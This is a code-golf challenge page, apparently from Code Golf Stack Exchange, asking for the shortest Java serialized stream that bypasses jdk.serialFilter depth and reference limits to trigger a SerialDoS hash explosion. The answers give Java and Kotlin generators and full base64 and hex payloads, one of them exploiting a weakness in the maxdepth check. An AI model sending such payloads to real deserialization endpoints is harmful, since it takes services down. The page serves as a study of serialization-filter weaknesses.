1
\$\begingroup\$

Pipe a short stream to the following Java program run with accompanying command line options, such that it prints true.

class Code implements java.io.Serializable { 
    private static final long serialVersionUID = 0L;
    private static long count; 
    @Override public int hashCode() {
        ++count;
        return super.hashCode();
    }
    public static void main(String[] args) throws Throwable {
        new java.io.ObjectInputStream(System.in).readObject(); 
        System.err.println(count != (int)count);
    }
}

java '-Djdk.serialFilter=maxarray=100000;maxdepth=16;maxrefs=500;Code;java.util.HashSet;java.util.Map$Entry;!*' Code

Rules

  • Shortest stream in bytes wins.

  • The program above must print true.

  • No fiddling with the command line - no aliasing, no running a weird shell, no putting nonsense in classpath, etc. (It does require the quotes. The Map$Entry bit is indeed weird.)

  • In case of issue, run on Oracle JDK13 current update at time of posting.

  • Tie breaker: size of stream in bytes when compressed with gzip --best (on my machine, if that's variable).

Probably post the source code to generate the stream, rather than some bytes.

\$\endgroup\$
  • 2
    \$\begingroup\$ I don't understand this code. Could you specify the task for non-Java programmers please? \$\endgroup\$ – Jonathan Allan Feb 15 at 14:27
  • 1
    \$\begingroup\$ Right, so the answer to my question is "no" then. FWIW I don't believe the question you've linked to is a good fit here. I'll remove my VTC as unclear and see what those more familiar with the required subject matter think. \$\endgroup\$ – Jonathan Allan Feb 15 at 16:42
  • 1
    \$\begingroup\$ Welcome to the site! In my opinion this sort of question is fine even if it targets only a specific sort of user. I would suggest giving a bit of an explanation of your code or motivation for it though. \$\endgroup\$ – Wheat Wizard Feb 16 at 2:29
  • 3
    \$\begingroup\$ What the hell is happening here, there have been Java-only KOTH challenges since the beginning of the universe, but nobody complained by downvoting them into -3 and almost closing them... \$\endgroup\$ – the default. Feb 16 at 2:58
  • 7
    \$\begingroup\$ This question could use a one-sentence summary that provides some context. I suggest: Write the shortest exploit for the SerialDos java vulnerability that bypasses the jdk's protection against it. \$\endgroup\$ – Wouter Coekaerts Feb 17 at 13:49
4
+50
\$\begingroup\$

1087 bytes 1065 bytes

Apparently the JDK's maxdepth limit is kinda broken...

static Object payload() throws Exception {
  int layers = 30;
  int width = 2;
  int codes = 7;
  int extra = 8;

  List<Set<Object>> sets = new ArrayList<>();
  sets.add(new HashSet<>());

  for (int i = 1; i < layers; i++) {
    Set<Object> s = new HashSet<>();
    sets.add(s);
    for (int j = i - 1; j >= i - width - 1 && j >= 0; j--) {
      sets.get(j).add(s);
    }
  }

  for (int i = 0; i < codes; i++) {
    sets.get(sets.size() - 1).add(new Code());
  }

  // special HashSet at the root to circumvent maxdepth limitation. By including a couple deeply
  // nested HashSets here, they will be replaced by references when they're used inside `sets`.
  // Using a LinkedHashSet to guarantee order of serialization.
  LinkedHashSet<Object> linkedRoot = new LinkedHashSet<>();
  linkedRoot.add(sets.get(28));
  linkedRoot.add(sets.get(14));
  linkedRoot.add(sets.get(0));

  // shaving off some more bytes by storing multiple copies of the same set at the top level
  for (int i = 0; i < extra; i ++) {
    sets.get(0).add("foo" + i);
    linkedRoot.add(sets.get(0));
    sets.get(0).remove("foo" + i);
  }

  // transplant the contents of the LinkedHashSet into the HashSet
  Set<Object> root = new HashSet<>();
  Field mapField = HashSet.class.getDeclaredField("map");
  mapField.setAccessible(true);
  mapField.set(root, mapField.get(linkedRoot));
  return root;
}

Base64-encoded data:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAC3NxAH4AAHcMAAAAED9AAAAAAAABc3EAfgAAdwwAAAAQP0AAAAAAAAdzcgAEQ29kZQAAAAAAAAAAAgAAeHBzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AAR4eHNxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAAJxAH4AAnEAfgADeHEAfgACcQB+AAN4cQB+ABlxAH4AAnhxAH4AGHEAfgAZeHEAfgAXcQB+ABh4cQB+ABZxAH4AF3hxAH4AFXEAfgAWeHEAfgAUcQB+ABV4cQB+ABNxAH4AFHhxAH4AEnEAfgATeHEAfgARcQB+ABJ4cQB+ABBxAH4AEXhxAH4AD3EAfgAQeHEAfgAOcQB+AA94c3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3EAfgAMcQB+AA1xAH4ADnhxAH4ADHEAfgANeHEAfgAncQB+AAx4cQB+ACZxAH4AJ3hxAH4AJXEAfgAmeHEAfgAkcQB+ACV4cQB+ACNxAH4AJHhxAH4AInEAfgAjeHEAfgAhcQB+ACJ4cQB+ACBxAH4AIXhxAH4AH3EAfgAgeHEAfgAecQB+AB94cQB+AB1xAH4AHnhxAH4AHHEAfgAdeHEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABp4
| improve this answer | |
\$\endgroup\$
  • \$\begingroup\$ I was thinking writeReplace rather than the reflection. \$\endgroup\$ – Tom Hawtin - tackline Feb 18 at 6:55
  • 1
    \$\begingroup\$ 240ish bytes with gzip --best. I couldn't easily spot any easy bytes to take off in the protocol - adding an empty writeObject to Code increases the size, useProtocolVersion 1 (for pre-1.1.6 compatibility - what happened there?) makes no odds. \$\endgroup\$ – Tom Hawtin - tackline Feb 24 at 13:05
2
\$\begingroup\$

This one’s 1207 bytes and performs 3910245742 hashes.

private fun veryHashySet(): Set<Any> {
  val codes = listOf(Code(), Code())
  val sets = mutableListOf<Set<Any>>()

  for (i in 0 until 16) {
    val limit = if (i == 15) 3 else 2
    for (j in 0 until limit) {
      val set = HashSet<Any>()
      for (k in 0 until 4) {
        when {
          k < sets.size -> set.add(sets[sets.size - 1 - k])
          k < codes.size -> set.add(codes[k])
        }
      }
      sets += set
    }
  }

  return sets.last()
}

Data:

aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000047371007e0000770c000000103f400000000000027371007e0000770c000000103f4000000000000273720004436f6465000000000000000002000078707371007e000f787371007e0000770c000000103f4000000000000271007e000e71007e0010787871007e000e7371007e0000770c000000103f4000000000000371007e000d71007e000e71007e00127871007e00127871007e000d71007e001371007e0012787371007e0000770c000000103f4000000000000471007e000c71007e000b7371007e0000770c000000103f4000000000000471007e000c71007e000b71007e00137371007e0000770c000000103f4000000000000471007e000c71007e000d71007e000b71007e0013787871007e00167871007e001571007e00167871007e001471007e00157371007e0000770c000000103f4000000000000471007e000a71007e001471007e001571007e0016787871007e000a7371007e0000770c000000103f4000000000000471007e000971007e000a71007e001471007e00177871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0017787371007e0000770c000000103f4000000000000471007e000871007e000971007e001871007e0019787371007e0000770c000000103f4000000000000471007e000871007e001871007e001971007e001a787871007e001a7371007e0000770c000000103f4000000000000471007e000771007e001971007e001a71007e001b7871007e001b787371007e0000770c000000103f4000000000000471007e000671007e00077371007e0000770c000000103f4000000000000471007e000671007e000771007e001c71007e001b7871007e001c7871007e001e71007e001c787371007e0000770c000000103f4000000000000471007e000571007e001d71007e001e7371007e0000770c000000103f4000000000000471007e000671007e000571007e001d71007e001e787871007e00207371007e0000770c000000103f4000000000000471007e000571007e001d71007e001f71007e0020787871007e001f71007e002071007e00217871007e00047371007e0000770c000000103f4000000000000471007e000371007e000471007e001f71007e00217871007e0021787371007e0000770c000000103f4000000000000471007e000271007e000371007e000471007e0022787371007e0000770c000000103f4000000000000471007e000271007e000371007e002371007e00227871007e002278
| improve this answer | |
\$\endgroup\$
  • \$\begingroup\$ 285 bytes with gzip --best. \$\endgroup\$ – Jesse Wilson Feb 17 at 19:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.